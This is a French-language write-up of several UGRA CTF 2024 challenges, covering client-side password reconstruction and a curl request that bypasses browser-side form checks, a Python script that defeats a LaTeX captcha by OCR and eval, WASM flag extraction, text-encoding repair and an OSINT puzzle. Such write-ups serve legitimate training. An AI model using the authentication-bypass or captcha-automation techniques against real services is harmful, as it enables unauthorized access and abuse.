Enzo Cadoni
1549 words
8 minutes
Write-Up UGRA CTF 2024

Epreuves Réalisées#

Wicket Gate#

Cette épreuve nous présente un site de bibliothèque :

image

Je vous passe la traduction du russe mais nous pouvons voir un formulaire d’authentification dans la page du second onglet

Authentification#

image

La page présente un système d’authentification avec deux informations :

  • La carte de bibliothèque
  • Le mot de passe fourni

nous pouvons voir dans la page un code javascript :

document.getElementById("loginForm").addEventListener("submit", async function(event) {
	event.preventDefault();
	if (await validateCredentials()){
		  this.submit();
	}
	else{
	  alert("Недействительный номер читательского билета (возможно, вы не подписали Согласие на обработку персональных данных, обратитесь в библиотеку по адресу, указанному на Главной странице");
	}
});
async function validateCredentials() {
	var chitateli = await fetch('/ohtxfvqrgjegd6t6/list_users').then(response => {
		return response.json();
	  }).catch(err => {
		console.log(err);
	  })
	var bilet = document.getElementById('bilet').value;
	var reader_password = document.getElementById('password').value;
	if (bilet in chitateli){
	  if (chitateli[bilet].isValid == true && chitateli[bilet].signedOnlineConsent == true){
		let password = "";
		password += bilet[5] + bilet[4] + bilet[6];
		password += String.fromCharCode(1040+parseInt(bilet[3]));
		password += String.fromCharCode(1040+parseInt(bilet[7]));
		password += String.fromCharCode(1040+parseInt(bilet[8]));
		password += String(10 - parseInt(bilet[0]));
		password += '7'
		if (password.match(/[0-9]{3}[А-Я]{3}[0-9]{2}/) && password == reader_password){
		  return true;
		}
	  }
	}
	return false;
}

Aussi, lors de la validation du formulaire, nous pouvons voir un appel à l’endpoint list_users :

https://wicketgate.q.2024.ugractf.ru/ohtxfvqrgjegd6t6/list_users

Cet endpoint présente :

  • Les numéros d’utilisateurs existants
  • Leur validité
  • Si ils ont signé le formulaire de consentement

Nous pouvons voir dans le code #javascript qu’un bon utilisateur est valide et a signé le consentement :

if (chitateli[bilet].isValid == true && chitateli[bilet].signedOnlineConsent == true)

Le code construit après le mot de passe de l’utilisateur en fonction de son numéro.

Nous prenons un numéro valide :

"8610014990":{
	"isValid":true,
	"signedOnlineConsent":true
	}

Nous construisons son mot de passe :

bilet = "8610014990"
password = ""; 
assword += bilet[5] + bilet[4] + bilet[6];
password += String.fromCharCode(1040+parseInt(bilet[3]));
password += String.fromCharCode(1040+parseInt(bilet[7]));
password += String.fromCharCode(1040+parseInt(bilet[8]));
password += String(10 - parseInt(bilet[0]));
password += '7'

Nous obtenons : 104АЙЙ27 pour l’utilisateur de numéro 8610014990.

Page de catalogue#

Après l’authentification, nous pouvons aller sur le 3eme onglet jusqu’alors verrouillé, un catalogue. image

Seul le dernier lien est intéressant, il possède des champs à renseigner pour vérification : image

La page possède un code javascript :

document.getElementById("orderForm").addEventListener("submit", function(event) {
	event.preventDefault();
	if (ReaderCheck()){
		  this.submit();
	}
	else{
	  alert("Не подтверждена личность читателя!");
	}
});                     

function ReaderCheck() {
	var vuz_id = document.getElementById('vuz_id').value;
	if (!vuz_id.match(/^[0-9]{13}$/)){
		return false;
	}   
	var driver_id = document.getElementById('driver_id').value;
	if (!driver_id.match(/^[0-9]{2}\s[0-9]{2}\s[0-9]{6}$/)){
		return false;
	}
}

Nous pouvons ignore la vérification en faisant nous même la requête avec notre cookie de session et les paramètre POST (qui ne seront du coup pas vérifiés).

Nous procédons avec #curl :

curl -X POST \
https://wicketgate.q.2024.ugractf.ru/ohtxfvqrgjegd6t6/catalog/11 \
-H "Cookie: session=eyJhdXRoIj...f5h8k" \
-d 'vuz_id=000000000000&driver_id=00 00 000000'

Réponse :

<!DOCTYPE html>
<html>
  <head>
    <title>Выписка книги</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Bootstrap -->
    <link href="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>
	[...]
      <li>Книга была успешно выписана! Для получения книги, предъявите следующий код при посещении библиотеки: ugra_wicket_gate_is_not_wicked_uqpg40dtv4jv </li>
	[...]
  </body>
</html>

Traduction :

Le livre a été extrait avec succès ! Pour recevoir un livre, présentez le code suivant lors de votre visite à la bibliothèque : ugra_wicket_gate_is_not_wicked_uqpg40dtv4jv

Le flag est : ugra_wicket_gate_is_not_wicked_uqpg40dtv4jv

A Messenger#

Paper please#

Nous pouvons voir une image : image

C’est une référence claire au jeu paper please, l’élément de déchiffrement : image

Déchiffrement#

En passant l’élément de déchiffrement sur l’image, nous pouvons voir deux chaînes distinctes : image

Donne : ugra*snowier*pa image

Donne : stures*8m0fksqx

Si l’on colle les deux chaînes et que l’on remplace les * par des _, cela donne le flag :

ugra_snowier_pastures_8m0fksqx

Easy/Uneasy#

Easy ou Uneasy ?#

Le site de la compétition dit qu’il existe une manière plus facile de terminer Easy et que Uneasy est la version patchée de celle-ci.

je vais exposer une méthode plutôt attendue, donc elle fonctionne pour les deux épreuves (qui sot en tout point similaires d’un point de vue front-end)

Première aproche#

Nous débarquons sur un site qui nous propose de cliquer 2000+ fois sur un bouton pour obtenir le flag, problème, après quelques clics, un captcha apparait, et pas des plus faciles : image

Stratégie#

La stratégie pour automatiser le processus de résolution de captcha est la suivante :

  • Récupérer l’image (en effet c’est un png)
  • Récupérer le calcul
  • Évaluer le calcul

Récupération de l’image#

L’image est un png codé en base64, Pour le voir, il faut regarder la réponse reçue lors d’un clic sur le bouton.

Un clic sur le bouton envoie un #json en requête POST au endpoint /click de la forme :

{
	"captcha_result": VALEUR
}

Si un captcha est demandé et que la valeur envoyée est fausse ou que le captcha vient d’être mis en place, le JSON renvoyé par le serveur est de la forme :

{
	"counter": NOMBRE_DE_CLICK_RESTANT,
	"flag": null,
	"need_captcha": True,
	"picture" : [L'image en base64]
}

Si toutefois le captcha renvoyé valide ou qu’il n’y avait pas besoin de donner une réponse, le serveur renverra un JSON de la forme :

{
	"counter": NOMBRE_DE_CLICK_RESTANT,
	"flag": null,
	"need_captcha": False
}

Après une vérification de captcha, nous pouvons faire quelque clics avant qu’il ne revienne.

Conclusion, nous pouvons facilement récupérer l’image avec ce que le serveur nous renvoie.

Récupération du calcul#

L’image ressemblant fort à une mise en page #LaTeX, je me suis dit que j’allais chercher une sorte d’OCR pour le LaTeX.

Un repository github tout à fait utile : LaTeX-OCR

Cette libraire python permet de reconnaître un calcul et de le transformer en code LaTeX.

Exemple en #python :

img = Image.open('image_du_calcul.png')
model = LatexOCR()
code_latex = model(img)
print(code_latex)

Cela va nous donner quelque chose comme :

\frac{4\cdot0\cdot(8+6)\cdot4}{(5-(3-1))\cdot8\cdot((0-2)\cdot(8+7)+6-(8+6))}

Ce qui n’est pas très lisible par une fonction d’évaluation tel que eval en python.

Nous simplifions donc tout ca avec des expressions régulières #regex.

Exploitation finale#

import requests, re
from base64 import b64decode
from PIL import Image
from pix2tex.cli import LatexOCR
  
url = "URL"
headers = {
	"Content-Type": "application/json"
}
data = {"captcha_response": ""}
counter, flag, picture, req = -1, None, "", None
  
while flag == None:
	need_captcha = False
  
	while not need_captcha and flag == None:
		req = requests.post(url, headers=headers, json=data)
		result = req.json()
		need_captcha = result["need_captcha"]
		counter = int(result["counter"])
		flag = result["flag"]
		if(counter % 100 == 0): print("[+] COUNTER :", counter)
	if flag == None:
		picture = result["picture"].split("64,")[1]
		  
		try:
			with open("essai.png", "wb") as latex_file:
			latex_file.write(b64decode(picture))
			img = Image.open('/home/schizoboy/Téléchargements/essai.png')
			model = LatexOCR()
			calc = model(img)
			calc = eval(re.sub(r'frac{([^}]*)}{([^}]*)}', r'((\1)/(\2))', calc.replace("\\", "").replace("cdot", "*").replace("left","").replace("right", "")).replace("{", "").replace("}", ""))
			data["captcha_response"] = int(calc*1000)/1000
		except:
			print("[+] OCR failed")
  
print("[+] FLAG :", flag)

Incoming Letter#

Fichier eml#

Un fichier eml (abréviation d’email) est un fichier contenant un mails et ses diverses données/metadonnées.

Ce fichier semble ici contenir des images et du texte. Le texte semble soit chiffré, soit encodé : image

Encodage#

Après de longues recherches, nous trouvons que le mauvais encodage du texte est quelque chose qui arrive souvent aux russes avec l’encodage Windows-1251, un encodage sur 8-bit, posant problème avec le cyrillique.

Un programme python permettant de retrouver de l’UTF-8 à partir de cet encodage est :

t = "..."
print(t.encode('windows-1251').decode('utf8'))

Flag#

En parcourant le mail et en décodant morceaux par morceau, on trouve :

>>> t = "ДЛЯ участия на 101 рубль (со скидкой 9 999 рублей) ugra_stop_sending_spam_please_004123020730"

>>> t.encode("windows-1251").decode('utf8')
'ДЛЯ участия на 101 рубль (со скидкой 9 999 рублей) ugra_stop_sending_spam_please_004123020730'

Le flag : ugra_stop_sending_spam_please_004123020730

One, Two, Grab#

Web Assembly#

Ce challenge nous donne un fichier semblant être un #wasm. Je ne m’y connais pas assez, nous allons donc y aller par tatonnement.

On transforme le code en #base64 on le charge dans le navigateur à l’aide du code #html #js suivant :

<html>
  <body>
    <script>
      code = Uint8Array.from(atob("AGFzbQEAAAABEQRgAAF/YAAAYAF/AGABfwF/AwgHAQAAAAIDAAQFAXABAgIFBgEBgAKAAgYJAX8BQeCIwQILB4wBCQZtZW1vcnkCAAhnZXRfZmxhZwABD2dldF9mbGFnX2xlbmd0aAACC19pbml0aWFsaXplAAAZX19pbmRpcmVjdF9mdW5jdGlvbl90YWJsZQEAEF9fZXJybm9fbG9jYXRpb24ABglzdGFja1NhdmUAAwxzdGFja1Jlc3RvcmUABApzdGFja0FsbG9jAAUJBwEAQQELAQAKuQQHAwABC4gEAgd/An4jAEFAaiEBQdgIQYLru4sENgIAQdAIQpCEgKiQ+d6bo383AwBBAyEAQZCEgCghAgNAIABBAnQiA0HQCGogA0HICGooAgAiBSAAIAJzc0G5893xeXM2AgAgAEEBaiIEQYAgRkUEQCAEQQJ0QdAIaiADQcwIaigCACICIAQgBXNzQbnz3fF5czYCACAAQQJqIQAMAQsLIAFCqNe6jcv2rd29fzcDOCABQpCn2szJ86fRpX83AzAgAUL49vmLyPChxY1/NwMoIAFC4MaZy8btm7n1ADcDICABQsiWuYrF6pWt3QA3AxggAUKw5tjJw+ePocUANwMQIAFCmLb4iMLkiZUtNwMIIAFCgIaYyMDhg4kVNwMAQcgIKAIAIQBBxAgoAgAhA0EAIQIDQCADQQFqQf8fcSIDQQJ0QdAIaiIEQX9BACAArSAENQIAQt6SAX58IgdCIIgiCCAHfKciACAIpyIESSIFGyAAa0ECayIANgIAIAEgAEEQdkE/cWoiBiAGLQAAIABzOgAAIAQgBWohACACQQFqIgJBf0cNAAtByAggADYCAEHECCADNgIAQQAhAANAQcwIKAIAIABqIgIgACABai0AACACLQAAczoAACAAQQFyIgJBzAgoAgBqIgMgASACai0AACADLQAAczoAACAAQQJqIgBBwABHDQALQcwIKAIACwUAQcAACwQAIwALBgAgACQACxAAIwAgAGtBcHEiACQAIAALBgBB0IgBCwtXAgBBgAgLQGvudVLUCcf5KBfP6+4dRxtYina0KazkHDGYsmaiMSqNNQX9DK0a5zl4ZGIDh7930Z+QWH5Jz4BlEq5ZBJU96DUAQcQICwr/DwAAxIcFAAAE"), c => c.charCodeAt(0));
      wasmModule = new WebAssembly.Module(code);
      wasmInstance = new WebAssembly.Instance(wasmModule);
    </script>
  </body>
</html>

En consultant le code dans l’inspecteur, nous pouvons voir plusieurs fonctions exportés dans le fichier wasm, et donc, que l’on peut appeler grâce à l’instance créée :

(export "memory" (memory $memory0))
(export "get_flag" (func $func1))
(export "get_flag_length" (func $func2))
(export "_initialize" (func $func0))
(export "__indirect_function_table" (table $table0))
(export "__errno_location" (func $func6))
(export "stackSave" (func $func3))
(export "stackRestore" (func $func4))
(export "stackAlloc" (func $func5))

Deux sont très intéressantes : get_flag et get_flag_length. Nous pouvons les appeller comme ceci :

>> console.log(wasmInstance.exports.get_flag())
>> console.log(wasmInstance.exports.get_flag_length())

Cela renvoie :

>> 1024
>> 64

La fonction get_flag a durée assez longtemps pour renvoyer finalement un chiffre au lieu du vrai flag. La fonction get_flag_length renvoie 64, mais nous aurions aussi pu le voir en examinant le fonction elle même :

(func $func2 (result i32)
	i32.const 64
)

Le flag fait donc a priori 64 caractères.

Fonction get_flag#

La fonction get_flag prend beaucoup de temps à s’exécuter, en revanche, en la regardant de plus près, nous pouvons voir quelque chose dans sa dernière boucle :

loop $label2
  i32.const 1100
  i32.load
  local.get $var0
  i32.add
  local.tee $var2
  local.get $var0
  local.get $var1
  i32.add
  i32.load8_u
  local.get $var2
  i32.load8_u
  i32.xor
  i32.store8
  local.get $var0
  i32.const 1
  i32.or
  local.tee $var2
  i32.const 1100
  i32.load
  i32.add
  local.tee $var3
  local.get $var1
  local.get $var2
  i32.add
  i32.load8_u
  local.get $var3
  i32.load8_u
  i32.xor
  i32.store8
  local.get $var0
  i32.const 2
  i32.add
  local.tee $var0
  i32.const 64           <----------- Comparaison avec la longueur du flag
  i32.ne
  br_if $label2
end $label2

Cela pourrait s’apparenter à la construction du flag même si il n’est pas imprimé.

En mettant des breakpoint dans la boucle, on peut se rendre compte que la variable $var2 va contenir des valeurs très similaires à des codes #ascii, juste après l’instruction de XOR :

local.get $var2
i32.load8_u
i32.xor

image

Flag#

En récupérant les caractères ASCII après chaque instruction XOR, nous obtenons (après décodage) :

ugra_those_are_basically_all_the_possibilities_of_wasm_r70fwqvdi

IF#

Ascenseur allemand#

L’épreuve est traîte d’OSINT et de reconnaissance.

On nous demande de chercher ce que IF (en deux mots) peut vouloir dire sur l’écran d’un ascenseur allemand : image

Nous trouvons que cela peut vouloir dire : Inspektionsfahrt en faisant une recherche en Allemand.

Les deux mots sont donc Inskpektion et Fahrt.

Nous sommes redirigés sur le endpoint /verify_result ou une magnifique photo d’Angela Merkel se tient à côté de ce qui semble être le flag distordu : image

Flag#

Le flag est :

ugra_keep_your_schluesselbund_from_falling_into_the_aufzugskabinenetagebodenspalt_qotn7jy3nup0